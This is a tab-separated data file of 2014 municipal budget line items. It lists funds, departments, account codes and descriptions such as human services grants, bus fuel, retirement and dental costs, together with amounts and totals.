9950	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522950.0	CNG FUEL		 Supplies and Expenses	2014	732.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	732.0
9951	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2014	1538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1538.0
9952	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	48848.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48848.0
9953	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	23556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23556.0
9954	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	6490.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6490.0
9955	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	91782.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	91782.0
9956	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561139.0	OPCC INTERIM HOUSING & WELLNES		 Supplies and Expenses	2014	854513.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	854513.0
9957	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561161.0	STEP UP-SANTUARY-GENERAL FUND		 Supplies and Expenses	2014	125723.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	125723.0
9958	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561171.0	EMERGENCY FOOD DISTRIBUTION		 Supplies and Expenses	2014	105566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	105566.0
9959	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562151.0	FAM SVC OF SM-AGCY BSD COM SPP		 Supplies and Expenses	2014	63236.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	63236.0
9960	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	577140.0	DISABILITY ACCOMODATIONS	804.0	 Supplies and Expenses	2014	300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	300.0
9961	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522974.0	LNG FUEL-REVENUE VEHICLES		 Supplies and Expenses	2014	5100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5100000.0
9962	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	205.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	205.0
9963	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522620.0	RENT		 Supplies and Expenses	2014	102.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	102.0
9964	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	8409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8409.0
9965	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	5857.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5857.0
9966	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	1908.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1908.0
9967	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	3077.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3077.0
9968	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561133.0	OPCC-DAYBREAK DAY CTR-GEN FND		 Supplies and Expenses	2014	229376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	229376.0
9969	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562152.0	FM SVC OF SM-MUIR SCHOOL PROG		 Supplies and Expenses	2014	100864.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100864.0
9970	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562361.0	ST JOE-FAM SELF SUF PRG-GEN FD		 Supplies and Expenses	2014	106727.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	106727.0
9971	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565261.0	OPCC-SOJOURN-GENERAL FUND		 Supplies and Expenses	2014	63878.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	63878.0
9972	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522976.0	LNG FUEL TAXES		 Supplies and Expenses	2014	266500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	266500.0
9973	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	201503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	201503.0
9974	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	1369325.02	0	0	0	8515.0	483	0.0	0	0	0	0	0.0	1378323.02
9975	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
9976	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	10390.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10390.0
9977	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	171354.17	0	0	0	0.0	1915	0.0	0	0	0	0	0.0	173269.17
9978	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	579004.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	579004.0
9979	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	125825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	125825.0
9980	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	563506.0	0	0	0	0.0	8160	0.0	0	0	0	0	0.0	571666.0
9981	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	13828.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13828.0
9982	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522544.0	GRAPHIC DESIGN		 Supplies and Expenses	2014	47500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47500.0
9983	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522112.0	UTIL-LIGHT/POWER-BEACH	804.0	 Supplies and Expenses	2014	81396.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	81396.0
9984	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402650.0	NON-TRANSP REV-OPER	662.0	Other	2014	-26138.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-26138.0
9985	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DCAP	806.0	Salaries and Wages	2014	1608.0	0	0	0	0.0	0	25.0	0	0	0	0	0.0	1633.0
9986	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	403010.0	OPERATING INTEREST - CITY	659.0	Investment Income	2014	-76003.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-76003.0
9987	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404080.0	INTEREST - CAPITAL	659.0	Investment Income	2014	-141148.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-141148.0
9988	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404220.0	OTHER OPER REV-MISCELLANEOUS	650.0	Charges for Service	2014	-44000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-44000.0
9989	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401230.0	COMMUNITY GARDENS RENTALS	618.0	Rentals	2014	-9300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9300.0
9990	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE		 Supplies and Expenses	2014	-99493.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-99493.0
9991	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		PRINTING - GENERAL		 Supplies and Expenses	2014	25625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25625.0
9992	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-36414.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-36414.0
9993	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511012.0	EST PAY RAISE-GEN GOV	804.0	Salaries and Wages	2014	1779569.0	0	0	0	0.0	-1779569	0.0	0	0	0	0	0.0	0.0
9994	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566991.0	CRIME PREVENTION - DONATION	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	4375.52	4375.52
9995	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522961.0	FUEL-SERVICE VEHICLES		 Supplies and Expenses	2014	102500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	102500.0
9996	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	9.0	0	0	0	0	0.0	9.0
9997	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	6571.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6571.0
9998	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2014	6083.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6083.0
9999	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2014	35319.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35319.0
10000	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2014	105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	105.0
10001	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	43751.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43751.0
10002	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	23871.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23871.0
10003	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2014	1189.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1189.0
10004	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2014	4512.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4512.0
10005	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566820.0	SMMUSD JOINT USE AGREEMENT	810.0	 Supplies and Expenses	2014	8489716.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8489716.0
10006	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING TRANSFER	908.0	 Supplies and Expenses	2014	-232291.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-232291.0
10007	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-2395940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2395940.0
10008	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	1442223.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1442223.0
10009	B1	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	412022.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	412022.0
10010	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	1020217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1020217.0
10011	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER		 Supplies and Expenses	2014	-1127231.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1127231.0
10012	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555060.0	PROFESSIONAL SERVICES	862.0	 Supplies and Expenses	2014	18222.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18222.0
10013	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2014	1450992.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1450992.0
10014	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402440.0	DAMAGE REPAIR WORK	650.0	Charges for Service	2014	-1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1000.0
10015	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402230.0	MAUSOLEUM-MISC SALES/SVCS	650.0	Charges for Service	2014	-27706.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27706.0
10016	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
10017	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2014	-22000.0	0	0	0	0.0	0	-192774.0	0	0	0	0	0.0	-214774.0
10018	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	405060.0	ENGINEERING COUNTER SALES	612.0	Charges for Service	2014	-6564.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6564.0
10019	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2014	75850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75850.0
10020	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2014	23816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23816.0
10021	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555180.0	PHOTOGRAPHIC EXPENSE	810.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
10022	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511490.0	OVERTIME	812.0	Salaries and Wages	2014	17201.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17201.0
10023	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555030.0	EMPLOYEE MEDICAL EXAMS		 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
10024	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	47178.0	0	0	0	0.0	0	-17870.42	0	0	0	0	0.0	29307.58
10025	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	15715.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15715.0
10026	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	-1650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1650.0
10027	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2014	550000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	550000.0
10028	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402350.0	WATER - MISC NON-OPERATING	662.0	Other	2014	-316806.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-316806.0
10029	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402360.0	WATER - METER SRVC / INSTALL	650.0	Charges for Service	2014	-312000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-312000.0
10030	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402370.0	REIMB FROM OTHER FUNDS	650.0	Charges for Service	2014	-431080.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-431080.0
10031	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-115000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-115000.0
10032	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404800.0	WATER DEMAND MITIGATION FEE	650.0	Charges for Service	2014	-300000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-300000.0
10033	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90000.0
10034	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405930.0	TRANSFER STATION - CITY DEPTS	650.0	Charges for Service	2014	-390000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-390000.0
10035	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402200.0	CEMETERY LOT SALES	650.0	Charges for Service	2014	-493999.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-493999.0
10036	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-35000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35000.0
10037	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	400210.0	CITY CLERK COUNTER FEES	612.0	Charges for Service	2014	-788.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-788.0
10038	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401030.0	HAZ MAT RESPONSE RECOVERY	622.0	Other	2014	-20500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20500.0
10039	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	5300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5300.0
10040	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	27450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27450.0
10041	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	20900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20900.0
10042	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	569230.0	INTEREST ON SMURRF LOAN		 Supplies and Expenses	2014	62750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62750.0
10043	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522180.0	BANK FEES		 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
10044	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2014	25398.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25398.0
10045	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	812.0	 Supplies and Expenses	2014	3100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3100.0
10046	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533640.0	CONF / MTGS / TRAVEL-TW	804.0	 Supplies and Expenses	2014	7140.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7140.0
10047	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401020.0	ELECTION-SMUSD/SMCCD/RC	610.0	Intergovernmental	2014	-200000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-200000.0
10048	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	28845.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28845.0
10049	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2014	20900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20900.0
10050	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511748.0	DENTAL	808.0	Salaries and Wages	2014	5317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5317.0
10051	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	7302.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7302.0
10052	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	27653.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27653.0
10053	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	19962.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19962.0
10054	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	2889.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2889.0
10055	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	825.0
10056	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	1520.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1520.0
10057	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511748.0	DENTAL	840.0	Salaries and Wages	2014	21665.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21665.0
10058	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	569181.0	0	0	0	118139.0	8647	-4152.0	0	0	0	0	0.0	691815.0
10059	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	538329.0	0	0	0	-3872.0	7807	4878.0	0	0	0	0	0.0	547142.0
10060	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
10061	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DCAP	804.0	Salaries and Wages	2014	72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72.0
10062	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6495.0	0	0	0	0.0	24	66.89	0	0	0	0	0.0	6585.89
10063	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DCAP	804.0	Salaries and Wages	2014	624.0	0	0	0	0.0	0	25.0	0	0	0	0	0.0	649.0
10064	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DCAP	804.0	Salaries and Wages	2014	1452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1452.0
10065	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	14357.0	0	0	0	0.0	174	0.0	0	0	0	0	0.0	14531.0
10066	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	54769.0	0	0	0	630.0	0	0.0	0	0	0	0	0.0	55399.0
10067	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	14648.0	0	0	0	0.0	192	0.0	0	0	0	0	0.0	14840.0
10068	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	23228.0	0	0	0	0.0	304	0.0	0	0	0	0	0.0	23532.0
10069	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	1548.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1548.0
10070	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561101.0	CLARE FOUND-GENERAL FUND		 Supplies and Expenses	2014	115205.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	115205.0
10071	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562120.0	CONNECTIONS FOR CHILDREN		 Supplies and Expenses	2014	45446.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45446.0
